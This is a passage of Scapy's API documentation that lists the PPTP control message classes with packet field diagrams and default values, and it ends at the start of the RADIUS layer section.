+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CALL ID            |          PEER CALL ID         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESULT CODE  |   ERROR CODE  |        PKT WINDOW SIZE        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       PKT TRANSMIT DELAY      |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PPTPIncomingCallReply                    


PPTPIncomingCallReply fields






	len

	LenField

	148



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	10



	reserved_0

	XShortField

	0



	call_id

	ShortField

	1



	peer_call_id

	ShortField

	1



	result_code

	ByteEnumField

	1



	error_code

	ByteEnumField

	0



	pkt_window_size

	ShortField

	64



	pkt_transmit_delay

	ShortField

	0



	reserved_1

	XShortField

	0















	
class scapy.layers.pptp.PPTPIncomingCallRequest(_pkt, /, *, len=220, type=1, magic_cookie=439041101, ctrl_msg_type=9, reserved_0=0, call_id=1, call_serial_number=1, bearer_type=3, channel_id=0, dialed_number_len=0, dialing_number_len=0, dialed_number=b'', dialing_number=b'', subaddress=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L262-L277]

	Bases: PPTP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CALL ID            |       CALL SERIAL NUMBER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          BEARER TYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHANNEL ID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       DIALED NUMBER LEN       |       DIALING NUMBER LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DIALED NUMBER                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         DIALING NUMBER                        |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SUBADDRESS                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PPTPIncomingCallRequest                   


PPTPIncomingCallRequest fields






	len

	LenField

	220



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	9



	reserved_0

	XShortField

	0



	call_id

	ShortField

	1



	call_serial_number

	ShortField

	1



	bearer_type

	IntEnumField

	3



	channel_id

	IntField

	0



	dialed_number_len

	ShortField

	0



	dialing_number_len

	ShortField

	0



	dialed_number

	StrFixedLenField

	b''



	dialing_number

	StrFixedLenField

	b''



	subaddress

	StrFixedLenField

	b''















	
class scapy.layers.pptp.PPTPOutgoingCallReply(_pkt, /, *, len=32, type=1, magic_cookie=439041101, ctrl_msg_type=8, reserved_0=0, call_id=1, peer_call_id=1, result_code=1, error_code=0, cause_code=0, connect_speed=100000000, pkt_window_size=16, pkt_proc_delay=0, channel_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L241-L259]

	Bases: PPTP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L258-L259]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CALL ID            |          PEER CALL ID         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESULT CODE  |   ERROR CODE  |           CAUSE CODE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CONNECT SPEED                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PKT WINDOW SIZE        |         PKT PROC DELAY        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CHANNEL ID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. PPTPOutgoingCallReply                    


PPTPOutgoingCallReply fields






	len

	LenField

	32



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	8



	reserved_0

	XShortField

	0



	call_id

	ShortField

	1



	peer_call_id

	ShortField

	1



	result_code

	ByteEnumField

	1



	error_code

	ByteEnumField

	0



	cause_code

	ShortField

	0



	connect_speed

	IntField

	100000000



	pkt_window_size

	ShortField

	16



	pkt_proc_delay

	ShortField

	0



	channel_id

	IntField

	0















	
class scapy.layers.pptp.PPTPOutgoingCallRequest(_pkt, /, *, len=168, type=1, magic_cookie=439041101, ctrl_msg_type=7, reserved_0=0, call_id=1, call_serial_number=0, minimum_bps=32768, maximum_bps=2147483648, bearer_type=3, framing_type=3, pkt_window_size=16, pkt_proc_delay=0, phone_number_len=0, reserved_1=0, phone_number=b'', subaddress=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L211-L229]

	Bases: PPTP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            CALL ID            |       CALL SERIAL NUMBER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MINIMUM BPS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAXIMUM BPS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          BEARER TYPE                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          FRAMING TYPE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PKT WINDOW SIZE        |         PKT PROC DELAY        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PHONE NUMBER LEN       |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          PHONE NUMBER                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SUBADDRESS                          |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PPTPOutgoingCallRequest                   


PPTPOutgoingCallRequest fields






	len

	LenField

	168



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	7



	reserved_0

	XShortField

	0



	call_id

	ShortField

	1



	call_serial_number

	ShortField

	0



	minimum_bps

	IntField

	32768



	maximum_bps

	IntField

	2147483648



	bearer_type

	IntEnumField

	3



	framing_type

	IntEnumField

	3



	pkt_window_size

	ShortField

	16



	pkt_proc_delay

	ShortField

	0



	phone_number_len

	ShortField

	0



	reserved_1

	XShortField

	0



	phone_number

	StrFixedLenField

	b''



	subaddress

	StrFixedLenField

	b''















	
class scapy.layers.pptp.PPTPSetLinkInfo(_pkt, /, *, len=24, type=1, magic_cookie=439041101, ctrl_msg_type=15, reserved_0=0, peer_call_id=1, reserved_1=0, send_accm=0, receive_accm=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L367-L377]

	Bases: PPTP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PEER CALL ID         |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SEND ACCM                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          RECEIVE ACCM                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PPTPSetLinkInfo                       


PPTPSetLinkInfo fields






	len

	LenField

	24



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	15



	reserved_0

	XShortField

	0



	peer_call_id

	ShortField

	1



	reserved_1

	XShortField

	0



	send_accm

	XIntField

	0



	receive_accm

	XIntField

	0















	
class scapy.layers.pptp.PPTPStartControlConnectionReply(_pkt, /, *, len=156, type=1, magic_cookie=439041101, ctrl_msg_type=2, reserved_0=0, protocol_version=256, result_code=1, error_code=0, framing_capabilities=<Flag 0 ()>, bearer_capabilities=<Flag 0 ()>, maximum_channels=65535, firmware_revision=256, host_name=b'linux', vendor_string=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L110-L131]

	Bases: PPTP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L130-L131]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PROTOCOL VERSION       |  RESULT CODE  |   ERROR CODE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      FRAMING CAPABILITIES                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      BEARER CAPABILITIES                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        MAXIMUM CHANNELS       |       FIRMWARE REVISION       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           HOST NAME                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         VENDOR STRING                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PPTPStartControlConnectionReply               


PPTPStartControlConnectionReply fields






	len

	LenField

	156



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	2



	reserved_0

	XShortField

	0



	protocol_version

	ShortField

	256



	result_code

	ByteEnumField

	1



	error_code

	ByteEnumField

	0



	framing_capabilities

	FlagsField

	<Flag 0 ()>



	bearer_capabilities

	FlagsField

	<Flag 0 ()>



	maximum_channels

	ShortField

	65535



	firmware_revision

	ShortField

	256



	host_name

	StrFixedLenField

	b'linux'



	vendor_string

	StrFixedLenField

	b''















	
class scapy.layers.pptp.PPTPStartControlConnectionRequest(_pkt, /, *, len=156, type=1, magic_cookie=439041101, ctrl_msg_type=1, reserved_0=0, protocol_version=256, reserved_1=0, framing_capabilities=<Flag 0 ()>, bearer_capabilities=<Flag 0 ()>, maximum_channels=65535, firmware_revision=256, host_name=b'linux', vendor_string=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L84-L100]

	Bases: PPTP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        PROTOCOL VERSION       |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      FRAMING CAPABILITIES                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      BEARER CAPABILITIES                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        MAXIMUM CHANNELS       |       FIRMWARE REVISION       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           HOST NAME                           |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         VENDOR STRING                         |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. PPTPStartControlConnectionRequest              


PPTPStartControlConnectionRequest fields






	len

	LenField

	156



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	1



	reserved_0

	XShortField

	0



	protocol_version

	ShortField

	256



	reserved_1

	XShortField

	0



	framing_capabilities

	FlagsField

	<Flag 0 ()>



	bearer_capabilities

	FlagsField

	<Flag 0 ()>



	maximum_channels

	ShortField

	65535



	firmware_revision

	ShortField

	256



	host_name

	StrFixedLenField

	b'linux'



	vendor_string

	StrFixedLenField

	b''















	
class scapy.layers.pptp.PPTPStopControlConnectionReply(_pkt, /, *, len=16, type=1, magic_cookie=439041101, ctrl_msg_type=4, reserved_0=0, result_code=1, error_code=0, reserved_2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L156-L169]

	Bases: PPTP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L168-L169]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RESULT CODE  |   ERROR CODE  |           RESERVED 2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. PPTPStopControlConnectionReply                


PPTPStopControlConnectionReply fields






	len

	LenField

	16



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	4



	reserved_0

	XShortField

	0



	result_code

	ByteEnumField

	1



	error_code

	ByteEnumField

	0



	reserved_2

	XShortField

	0















	
class scapy.layers.pptp.PPTPStopControlConnectionRequest(_pkt, /, *, len=16, type=1, magic_cookie=439041101, ctrl_msg_type=3, reserved_0=0, reason=1, reserved_1=0, reserved_2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L139-L149]

	Bases: PPTP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     REASON    |   RESERVED 1  |           RESERVED 2          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. PPTPStopControlConnectionRequest               


PPTPStopControlConnectionRequest fields






	len

	LenField

	16



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	3



	reserved_0

	XShortField

	0



	reason

	ByteEnumField

	1



	reserved_1

	XByteField

	0



	reserved_2

	XShortField

	0















	
class scapy.layers.pptp.PPTPWANErrorNotify(_pkt, /, *, len=40, type=1, magic_cookie=439041101, ctrl_msg_type=14, reserved_0=0, peer_call_id=1, reserved_1=0, crc_errors=0, framing_errors=0, hardware_overruns=0, buffer_overruns=0, time_out_errors=0, alignment_errors=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/pptp.py#L350-L364]

	Bases: PPTP


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              LEN              |              TYPE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          MAGIC COOKIE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         CTRL MSG TYPE         |           RESERVED 0          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          PEER CALL ID         |           RESERVED 1          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           CRC ERRORS                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         FRAMING ERRORS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       HARDWARE OVERRUNS                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        BUFFER OVERRUNS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        TIME OUT ERRORS                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        ALIGNMENT ERRORS                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PPTPWANErrorNotify                      


PPTPWANErrorNotify fields






	len

	LenField

	40



	type

	ShortEnumField

	1



	magic_cookie

	XIntField

	439041101



	ctrl_msg_type

	ShortEnumField

	14



	reserved_0

	XShortField

	0



	peer_call_id

	ShortField

	1



	reserved_1

	XShortField

	0



	crc_errors

	IntField

	0



	framing_errors

	IntField

	0



	hardware_overruns

	IntField

	0



	buffer_overruns

	IntField

	0



	time_out_errors

	IntField

	0



	alignment_errors

	IntField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.radius

RADIUS (Remote Authentication Dial In User Service)

To disable Radius-EAP defragmentation (True by default), you can use:

conf.contribs.setdefault("radius", {}).setdefault("auto-defrag", False)






	
class scapy.layers.radius.Radius(_pkt, /, *, code=1, id=0, len=None, authenticator=b'', attributes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L1144-L1184]

	Bases: Packet

Implements a RADIUS packet (RFC 2865).


	
aliastypes

	




	
compute_authenticator(packed_request_auth, shared_secret)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/radius.py#L1169-L1176]

